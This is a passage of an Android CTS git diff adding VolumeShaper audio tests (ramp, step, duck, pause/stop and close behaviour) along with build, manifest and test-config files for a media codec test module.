+                    VolumeShaper.Operation.PLAY, true /* join */);
+            // monotonicity test
+            for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
+                final float volume = volumeShaper.getVolume();
+                assertTrue(testName + " montonic volume should increase "
+                        + volume + " >= " + lastVolume,
+                        (volume >= lastVolume));
+                lastVolume = volume;
+                Thread.sleep(incrementMs);
+            }
+            Thread.sleep(WARMUP_TIME_MS);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final monotonic value should be 1.f, but is " + lastVolume,
+                    1.f, lastVolume, VOLUME_TOLERANCE);
+
+            Log.d(TAG, "invert");
+            // invert
+            VolumeShaper.Configuration newConfiguration =
+                    new VolumeShaper.Configuration.Builder(configuration)
+                    .invertVolumes()
+                    .build();
+            volumeShaper.replace(newConfiguration,
+                    VolumeShaper.Operation.PLAY, true /* join */);
+            // monotonicity test
+            for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
+                final float volume = volumeShaper.getVolume();
+                assertTrue(testName + " montonic volume should decrease "
+                        + volume + " <= " + lastVolume,
+                        (volume <= lastVolume));
+                lastVolume = volume;
+                Thread.sleep(incrementMs);
+            }
+            Thread.sleep(WARMUP_TIME_MS);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final monotonic value should be 0.f, but is " + lastVolume,
+                    0.f, lastVolume, VOLUME_TOLERANCE);
+
+            // invert + reflect
+            Log.d(TAG, "invert and reflect");
+            newConfiguration =
+                    new VolumeShaper.Configuration.Builder(configuration)
+            .invertVolumes()
+            .reflectTimes()
+            .build();
+            volumeShaper.replace(newConfiguration,
+                    VolumeShaper.Operation.PLAY, true /* join */);
+            // monotonicity test
+            for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
+                final float volume = volumeShaper.getVolume();
+                assertTrue(testName + " montonic volume should increase "
+                        + volume + " >= " + lastVolume,
+                        (volume >= lastVolume - VOLUME_TOLERANCE));
+                lastVolume = volume;
+                Thread.sleep(incrementMs);
+            }
+            Thread.sleep(WARMUP_TIME_MS);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final monotonic value should be 1.f, but is " + lastVolume,
+                    1.f, lastVolume, VOLUME_TOLERANCE);
+
+            // reflect
+            Log.d(TAG, "reflect");
+            newConfiguration =
+                    new VolumeShaper.Configuration.Builder(configuration)
+            .reflectTimes()
+            .build();
+            volumeShaper.replace(newConfiguration,
+                    VolumeShaper.Operation.PLAY, true /* join */);
+            // monotonicity test
+            for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
+                final float volume = volumeShaper.getVolume();
+                assertTrue(testName + " montonic volume should decrease "
+                        + volume + " <= " + lastVolume,
+                        (volume <= lastVolume));
+                lastVolume = volume;
+                Thread.sleep(incrementMs);
+            }
+            Thread.sleep(WARMUP_TIME_MS);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final monotonic value should be 0.f, but is " + lastVolume,
+                    0.f, lastVolume, VOLUME_TOLERANCE);
+        }
+    } // runTestCubicMonotonicPlayer
+
+    @Test
+    public void testStepRampAudioTrack() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_AUDIO_TRACK)) {
+            runTestStepRampPlayer("testStepRampAudioTrack", player);
+        }
+    }
+
+    @Test
+    public void testStepRampMediaPlayerNonOffloaded() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED)) {
+            runTestStepRampPlayer("testStepRampMediaPlayerNonOffloaded", player);
+        }
+    }
+
+    @Test
+    public void testStepRampMediaPlayerOffloaded() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED)) {
+            runTestStepRampPlayer("testStepRampMediaPlayerOffloaded", player);
+        }
+    }
+
+    private void runTestStepRampPlayer(String testName, Player player) throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        // We test that the step ramp persists on value until the next control point.
+        // The STEP_RAMP has only 2 control points (at time 0.f and at 1.f).
+        // It should suddenly jump to full volume at 1.f (full duration).
+        // Note: invertVolumes() and reflectTimes() are not symmetric for STEP interpolation;
+        // however, VolumeShaper.Operation.REVERSE will behave symmetrically.
+
+        try (VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE)) {
+            volumeShaper.apply(VolumeShaper.Operation.PLAY);
+            player.start();
+            Thread.sleep(WARMUP_TIME_MS);
+
+            final VolumeShaper.Configuration configuration = STEP_RAMP;
+            Log.d(TAG, testName + " starting test (sudden jump to full after "
+                    + RAMP_TIME_MS + " milliseconds)");
+
+            volumeShaper.replace(configuration,
+                    VolumeShaper.Operation.PLAY, true /* join */);
+
+            Thread.sleep(RAMP_TIME_MS / 2);
+            float lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " middle value should be 0.f, but is " + lastVolume,
+                    0.f, lastVolume, VOLUME_TOLERANCE);
+
+            Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final value should be 1.f, but is " + lastVolume,
+                    1.f, lastVolume, VOLUME_TOLERANCE);
+
+            Log.d(TAG, "invert (sudden jump to silence after "
+                    + RAMP_TIME_MS + " milliseconds)");
+            // invert
+            VolumeShaper.Configuration newConfiguration =
+                    new VolumeShaper.Configuration.Builder(configuration)
+                        .invertVolumes()
+                        .build();
+            volumeShaper.replace(newConfiguration,
+                    VolumeShaper.Operation.PLAY, true /* join */);
+
+            Thread.sleep(RAMP_TIME_MS / 2);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " middle value should be 1.f, but is " + lastVolume,
+                    1.f, lastVolume, VOLUME_TOLERANCE);
+
+            Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final value should be 0.f, but is " + lastVolume,
+                    0.f, lastVolume, VOLUME_TOLERANCE);
+
+            // invert + reflect
+            Log.d(TAG, "invert and reflect (sudden jump to full after "
+                    + RAMP_TIME_MS + " milliseconds)");
+            newConfiguration =
+                    new VolumeShaper.Configuration.Builder(configuration)
+                        .invertVolumes()
+                        .reflectTimes()
+                        .build();
+            volumeShaper.replace(newConfiguration,
+                    VolumeShaper.Operation.PLAY, true /* join */);
+
+            Thread.sleep(RAMP_TIME_MS / 2);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " middle value should be 0.f, but is " + lastVolume,
+                    0.f, lastVolume, VOLUME_TOLERANCE);
+
+            Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final value should be 1.f, but is " + lastVolume,
+                    1.f, lastVolume, VOLUME_TOLERANCE);
+
+            // reflect
+            Log.d(TAG, "reflect (sudden jump to silence after "
+                    + RAMP_TIME_MS + " milliseconds)");
+            newConfiguration =
+                    new VolumeShaper.Configuration.Builder(configuration)
+                        .reflectTimes()
+                        .build();
+            volumeShaper.replace(newConfiguration,
+                    VolumeShaper.Operation.PLAY, true /* join */);
+
+            Thread.sleep(RAMP_TIME_MS / 2);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " middle value should be 1.f, but is " + lastVolume,
+                    1.f, lastVolume, VOLUME_TOLERANCE);
+
+            Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final value should be 0.f, but is " + lastVolume,
+                    0.f, lastVolume, VOLUME_TOLERANCE);
+
+            Log.d(TAG, "reverse (immediate jump to full)");
+            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+            Thread.sleep(RAMP_TIME_MS / 2);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " middle value should be 1.f, but is " + lastVolume,
+                    1.f, lastVolume, VOLUME_TOLERANCE);
+
+            Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+            lastVolume = volumeShaper.getVolume();
+            assertEquals(testName
+                    + " final value should be 1.f, but is " + lastVolume,
+                    1.f, lastVolume, VOLUME_TOLERANCE);
+        }
+    } // runTestStepRampPlayer
+
+    @Test
+    public void testTwoShapersAudioTrack() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_AUDIO_TRACK)) {
+            runTestTwoShapersPlayer("testTwoShapersAudioTrack", player);
+        }
+    }
+
+    @Test
+    public void testTwoShapersMediaPlayerNonOffloaded() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED)) {
+            runTestTwoShapersPlayer("testTwoShapersMediaPlayerNonOffloaded", player);
+        }
+    }
+
+    @Test
+    public void testTwoShapersMediaPlayerOffloaded() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED)) {
+            runTestTwoShapersPlayer("testTwoShapersMediaPlayerOffloaded", player);
+        }
+    }
+
+    private void runTestTwoShapersPlayer(String testName, Player player) throws Exception {
+
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final long durationMs = 10000;
+
+        // Ramp configurations go from 0.f up to 1.f, Duck from 1.f to 0.f
+        // With the two ramps combined, the audio should rise and then fall.
+        final VolumeShaper.Configuration LONG_RAMP =
+                new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.LINEAR_RAMP)
+                    .setDuration(durationMs)
+                    .build();
+        final VolumeShaper.Configuration LONG_DUCK =
+                new VolumeShaper.Configuration.Builder(LONG_RAMP)
+                    .reflectTimes()
+                    .build();
+
+        try (
+                VolumeShaper volumeShaperRamp = player.createVolumeShaper(LONG_RAMP);
+                VolumeShaper volumeShaperDuck = player.createVolumeShaper(LONG_DUCK);
+                ) {
+            final float firstVolumeRamp = volumeShaperRamp.getVolume();
+            final float firstVolumeDuck = volumeShaperDuck.getVolume();
+            assertEquals(testName
+                    + " first ramp value should be 0.f, but is " + firstVolumeRamp,
+                    0.f, firstVolumeRamp, VOLUME_TOLERANCE);
+            assertEquals(testName
+                    + " first duck value should be 1.f, but is " + firstVolumeDuck,
+                    1.f, firstVolumeDuck, VOLUME_TOLERANCE);
+            player.start();
+
+            Thread.sleep(1000);
+
+            final float lastVolumeRamp = volumeShaperRamp.getVolume();
+            final float lastVolumeDuck = volumeShaperDuck.getVolume();
+            assertEquals(testName
+                    + " no-play ramp value should be 0.f, but is " + lastVolumeRamp,
+                    0.f, lastVolumeRamp, VOLUME_TOLERANCE);
+            assertEquals(testName
+                    + " no-play duck value should be 1.f, but is " + lastVolumeDuck,
+                    1.f, lastVolumeDuck, VOLUME_TOLERANCE);
+
+            Log.d(TAG, testName + " volume should be silent and start increasing now");
+
+            // we actually start now!
+            volumeShaperRamp.apply(VolumeShaper.Operation.PLAY);
+            volumeShaperDuck.apply(VolumeShaper.Operation.PLAY);
+            Thread.sleep(durationMs / 2);
+
+            Log.d(TAG, testName + " volume should be > 0 and about maximum here");
+            final float lastVolumeRamp2 = volumeShaperRamp.getVolume();
+            final float lastVolumeDuck2 = volumeShaperDuck.getVolume();
+            assertTrue(testName
+                    + " last ramp value should be > 0.f " + lastVolumeRamp2,
+                    lastVolumeRamp2 > 0.f);
+            assertTrue(testName
+                    + " last duck value should be < 1.f " + lastVolumeDuck2,
+                    lastVolumeDuck2 < 1.f);
+
+            Log.d(TAG, testName + " volume should start decreasing shortly");
+            Thread.sleep(durationMs / 2 + 1000);
+
+            Log.d(TAG, testName + " volume should be silent now");
+            final float lastVolumeRamp3 = volumeShaperRamp.getVolume();
+            final float lastVolumeDuck3 = volumeShaperDuck.getVolume();
+            assertEquals(testName
+                    + " last ramp value should be 1.f, but is " + lastVolumeRamp3,
+                    1.f, lastVolumeRamp3, VOLUME_TOLERANCE);
+            assertEquals(testName
+                    + " last duck value should be 0.f, but is " + lastVolumeDuck3,
+                    0.f, lastVolumeDuck3, VOLUME_TOLERANCE);
+
+            runCloseTest(testName, volumeShaperRamp);
+            runCloseTest(testName, volumeShaperDuck);
+        }
+    } // runTestTwoShapersPlayer
+
+    // tests that shaper which is based on clocktime after start (default on builder)
+    // advances in the presence of pause and stop.
+    @LargeTest
+    @Test
+    public void testPlayerRunDuringPauseStop() throws Exception {
+        runTestPlayerDuringPauseStop("testPlayerRunDuringPauseStop", false /* useMediaTime */);
+    }
+
+    // tests that shaper which is based on media time will freeze
+    // in the presence of pause and stop.
+    @LargeTest
+    @Test
+    public void testPlayerFreezeDuringPauseStop() throws Exception {
+        runTestPlayerDuringPauseStop("testPlayerFreezeDuringPauseStop", true /* useMediaTime */);
+    }
+
+    private void runTestPlayerDuringPauseStop(
+            String parentTestName, boolean useMediaTime) throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final VolumeShaper.Configuration config =
+                useMediaTime ? LINEAR_RAMP_MEDIA_TIME : LINEAR_RAMP;
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            for (int pause = 0; pause < 2; ++pause) {
+
+                if ((p == PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED
+                        || p == PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED) && pause == 0) {
+                    // Do not test stop and MediaPlayer because a
+                    // MediaPlayer stop requires prepare before starting.
+                    continue;
+                }
+                if (useMediaTime &&  p == PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED) {
+                    continue;  // Offloaded media time not supported.
+                }
+
+                try (   Player player = createPlayer(p);
+                        VolumeShaper volumeShaper = player.createVolumeShaper(config);
+                        ) {
+                    final String testName = parentTestName + " " + player.name();
+
+                    Log.d(TAG, testName + " starting volume, should ramp up");
+                    volumeShaper.apply(VolumeShaper.Operation.PLAY);
+                    assertEquals(testName + " volume should be 0.f",
+                            0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+                    player.start();
+                    Thread.sleep(WARMUP_TIME_MS * 2);
+
+                    String operation = pause != 0 ? "pause" : "stop";
+                    Log.d(TAG, testName + " applying " + operation);
+                    if (pause == 1) {
+                        player.pause();
+                    } else {
+                        player.stop();
+                    }
+                    Log.d(TAG, testName + " volume right after " +
+                            operation + " is " + volumeShaper.getVolume());
+
+                    Thread.sleep(RAMP_TIME_MS);
+
+                    Log.d(TAG, testName + " volume after " + operation +
+                            " and sleep is " + volumeShaper.getVolume());
+
+                    Log.d(TAG, testName + " starting again");
+                    player.start();
+                    Thread.sleep(WARMUP_TIME_MS * 2);
+
+                    final float finalVolume = volumeShaper.getVolume();
+                    if (useMediaTime) {
+                        Log.d(TAG, testName + " final volume after starting should be " +
+                                "less than full volume, actual is " + finalVolume);
+                        assertThat(finalVolume).isLessThan(1.f);
+                    } else {
+                        Log.d(TAG, testName + " final volume after starting should be " +
+                                "full volume, actual is " + finalVolume);
+                        assertEquals(testName + " volume should be 1.f",
+                                1.f, finalVolume, VOLUME_TOLERANCE);
+                    }
+                }
+            }
+        }
+    } // runTestPlayerDuringPauseStop
+
+    // Player should be started before calling (as it is not an argument to method).
+    private void runRampTest(
+            String testName, VolumeShaper volumeShaper, VolumeShaper.Configuration config)
+            throws Exception {
+        // This replaces with play.
+        Log.d(TAG, testName + " Replace + Play (volume should increase)");
+        volumeShaper.replace(config, VolumeShaper.Operation.PLAY, false /* join */);
+        Thread.sleep(RAMP_TIME_MS / 2);
+
+        // Reverse the direction of the volume shaper curve
+        Log.d(TAG, testName + " Reverse (volume should decrease)");
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+
+        Log.d(TAG, testName + " Check Volume (silent)");
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        // Forwards
+        Log.d(TAG, testName + " Play (volume should increase)");
+        volumeShaper.apply(VolumeShaper.Operation.PLAY);
+        Thread.sleep(RAMP_TIME_MS + 1000);
+
+        Log.d(TAG, testName + " Check Volume (volume at max)");
+        assertEquals(testName + " volume should be 1.f",
+                1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        // Reverse
+        Log.d(TAG, testName + " Reverse (volume should decrease)");
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        Thread.sleep(RAMP_TIME_MS + 1000);
+
+        Log.d(TAG, testName + " Check Volume (volume should be silent)");
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        // Forwards
+        Log.d(TAG, testName + " Play (volume should increase)");
+        volumeShaper.apply(VolumeShaper.Operation.PLAY);
+        Thread.sleep(RAMP_TIME_MS + 1000);
+
+        // Comment out for headset plug/unplug test
+        // Log.d(TAG, testName + " headset check"); Thread.sleep(10000 /* millis */);
+        //
+
+        Log.d(TAG, testName + " Check Volume (volume at max)");
+        assertEquals(testName + " volume should be 1.f",
+                1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " done");
+    } // runRampTest
+
+    // Player should be started before calling (as it is not an argument to method).
+    private void runDuckTest(String testName, VolumeShaper volumeShaper) throws Exception {
+        final VolumeShaper.Configuration[] configs = new VolumeShaper.Configuration[] {
+                LINEAR_DUCK,
+        };
+
+        for (VolumeShaper.Configuration config : configs) {
+            Log.d(TAG, testName + " Replace + Reverse (volume at max)");
+            // CORNER CASE: When you replace with REVERSE, it stays at the initial point.
+            volumeShaper.replace(config, VolumeShaper.Operation.REVERSE, false /* join */);
+            Thread.sleep(RAMP_TIME_MS / 2);
+            assertEquals(testName + " volume should be 1.f",
+                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            // CORNER CASE: reverse twice doesn't do anything.
+            Thread.sleep(RAMP_TIME_MS / 2);
+            Log.d(TAG, testName + " Reverse after reverse (volume at max)");
+            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+            assertEquals(testName + " volume should be 1.f",
+                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            Log.d(TAG, testName + " Duck from start (volume should decrease)");
+            volumeShaper.apply(VolumeShaper.Operation.PLAY);
+            Thread.sleep(RAMP_TIME_MS * 2);
+
+            Log.d(TAG, testName + " Duck done (volume should be low, 0.2f)");
+            assertEquals(testName + " volume should be 0.2f",
+                    0.2f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            Log.d(TAG, testName + " Unduck (volume should increase)");
+            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+            Thread.sleep(RAMP_TIME_MS * 2);
+
+            // Comment out for headset plug/unplug test
+            // Log.d(TAG, testName + " headset check"); Thread.sleep(10000 /* millis */);
+            //
+            Log.d(TAG, testName + " Unduck done (volume at max)");
+            assertEquals(testName + " volume should be 1.f",
+                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+        }
+    } // runDuckTest
+
+    // VolumeShaper should not be started prior to this test; it is replaced
+    // in this test.
+    private void runRampCornerCaseTest(
+            String testName, VolumeShaper volumeShaper, VolumeShaper.Configuration config)
+                    throws Exception {
+        // ramps start at 0.f
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " Reverse at start (quiet now)");
+        // CORNER CASE: When you begin with REVERSE, it stays at the initial point.
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        Thread.sleep(RAMP_TIME_MS / 2);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        // CORNER CASE: reverse twice doesn't do anything.
+        Thread.sleep(RAMP_TIME_MS / 2);
+        Log.d(TAG, testName + " Reverse after reverse (still quiet)");
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " Ramp from start (volume should increase)");
+        volumeShaper.apply(VolumeShaper.Operation.PLAY);
+        Thread.sleep(RAMP_TIME_MS * 2);
+
+        Log.d(TAG, testName + " Volume persists at maximum 1.f");
+        assertEquals(testName + " volume should be 1.f",
+                1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " Reverse ramp (volume should decrease)");
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        Thread.sleep(RAMP_TIME_MS / 2);
+
+        // join in REVERSE should freeze
+        final float volume = volumeShaper.getVolume();
+        Log.d(TAG, testName + " Replace ramp with join in REVERSE (volume steady)");
+        volumeShaper.replace(config, VolumeShaper.Operation.REVERSE, true /* join */);
+
+        Thread.sleep(RAMP_TIME_MS / 2);
+        // Are we frozen?
+        final float volume2 = volumeShaper.getVolume();
+        assertEquals(testName + " volume should be the same (volume steady)",
+                volume, volume2, JOIN_VOLUME_TOLERANCE);
+
+        // Begin playing
+        Log.d(TAG, testName + " Play joined ramp (volume should increase)");
+        volumeShaper.apply(VolumeShaper.Operation.PLAY);
+        Thread.sleep(RAMP_TIME_MS * 2);
+
+        // Reverse to get back to start of the joined curve.
+        Log.d(TAG, testName + " Reverse joined ramp (volume should decrease)");
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        Thread.sleep(RAMP_TIME_MS * 2);
+
+        // At this time, we are back to the join point.
+        // We check now that the scaling for the join is permanent.
+        Log.d(TAG, testName + " Joined ramp at start (volume same as at join)");
+        final float volume3 = volumeShaper.getVolume();
+        assertEquals(testName + " volume should be same as start for joined ramp",
+                volume2, volume3, JOIN_VOLUME_TOLERANCE);
+    } // runRampCornerCaseTest
+
+    // volumeShaper is closed in this test.
+    private void runCloseTest(String testName, VolumeShaper volumeShaper) throws Exception {
+        Log.d(TAG, testName + " closing");
+        volumeShaper.close();
+        runCloseTest2(testName, volumeShaper);
+    } // runCloseTest
+
+    // VolumeShaper should be closed prior to this test.
+    private void runCloseTest2(String testName, VolumeShaper volumeShaper) throws Exception {
+        // CORNER CASE:
+        // VolumeShaper methods should throw ISE after closing.
+        Log.d(TAG, testName + " getVolume() after close should throw ISE");
+        assertThrows(IllegalStateException.class,
+                volumeShaper::getVolume);
+
+        Log.d(TAG, testName + " apply() after close should throw ISE");
+        assertThrows(IllegalStateException.class,
+                ()->{ volumeShaper.apply(VolumeShaper.Operation.REVERSE); });
+
+        Log.d(TAG, testName + " replace() after close should throw ISE");
+        assertThrows(IllegalStateException.class,
+                ()->{ volumeShaper.replace(
+                        LINEAR_RAMP, VolumeShaper.Operation.PLAY, false /* join */); });
+
+        Log.d(TAG, testName + " closing x2 is OK");
+        volumeShaper.close(); // OK to close twice.
+        Log.d(TAG, testName + " closing x3 is OK");
+        volumeShaper.close(); // OK to close thrice.
+    } // runCloseTest2
+
+    // Player should not be started prior to calling (it is started in this test)
+    // VolumeShaper should not be started prior to calling (it is not started in this test).
+    private void runStartIdleTest(String testName, VolumeShaper volumeShaper, Player player)
+            throws Exception {
+        Log.d(TAG, testName + " volume after creation or pause doesn't advance (silent now)");
+        // CORNER CASE:
+        // volumeShaper volume after creation or pause doesn't advance.
+        Thread.sleep(WARMUP_TIME_MS);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        player.start();
+        Thread.sleep(WARMUP_TIME_MS);
+
+        Log.d(TAG, testName + " volume after player start doesn't advance if play isn't called."
+                + " (still silent)");
+        // CORNER CASE:
+        // volumeShaper volume after creation doesn't or pause doesn't advance even
+        // after the player starts.
+        Thread.sleep(WARMUP_TIME_MS);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+    } // runStartIdleTest
+
+    // Player should not be running prior to calling (it is started in this test).
+    // VolumeShaper is also started in this test.
+    private void runStartSyncTest(String testName, VolumeShaper volumeShaper, Player player)
+            throws Exception {
+        Log.d(TAG, testName + " volume after creation or pause doesn't advance "
+                + "if player isn't started. (silent now)");
+        volumeShaper.apply(VolumeShaper.Operation.PLAY);
+        // CORNER CASE:
+        // volumeShaper volume after creation or pause doesn't advance
+        // even after play is called.
+        Thread.sleep(WARMUP_TIME_MS);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " starting now (volume should increase)");
+        player.start();
+        Thread.sleep(WARMUP_TIME_MS);
+
+        Log.d(TAG, testName + " volume after player start advances if play is called.");
+        // CORNER CASE:
+        // Now volume should have advanced since play is called.
+        Thread.sleep(WARMUP_TIME_MS);
+        assertTrue(testName + " volume should be greater than 0.f",
+                volumeShaper.getVolume() > 0.f);
+    } // runStartSyncTest
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+}
diff --git a/tests/tests/media/codec/Android.bp b/tests/tests/media/codec/Android.bp
new file mode 100644
index 0000000..ab6edba
--- /dev/null
+++ b/tests/tests/media/codec/Android.bp
@@ -0,0 +1,64 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license", // CC-BY
+    ],
+}
+
+android_test {
+    name: "CtsMediaCodecTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "cts-media-common",
+        "testng",
+    ],
+    jni_libs: [
+        "libctsmediacommon_jni",
+    ],
+    aaptflags: [
+        // Do not compress these files:
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
+    // This test uses private APIs
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/codec/AndroidManifest.xml b/tests/tests/media/codec/AndroidManifest.xml
new file mode 100644
index 0000000..328929a
--- /dev/null
+++ b/tests/tests/media/codec/AndroidManifest.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.codec.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="31"/>
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+        <service android:name="android.media.codec.cts.RemoteVirtualDisplayService"
+            android:process=":remoteService"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.codec.cts"
+         android:label="CTS tests of android.media">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/codec/AndroidTest.xml b/tests/tests/media/codec/AndroidTest.xml
new file mode 100644
index 0000000..a2f5d2b
--- /dev/null
+++ b/tests/tests/media/codec/AndroidTest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
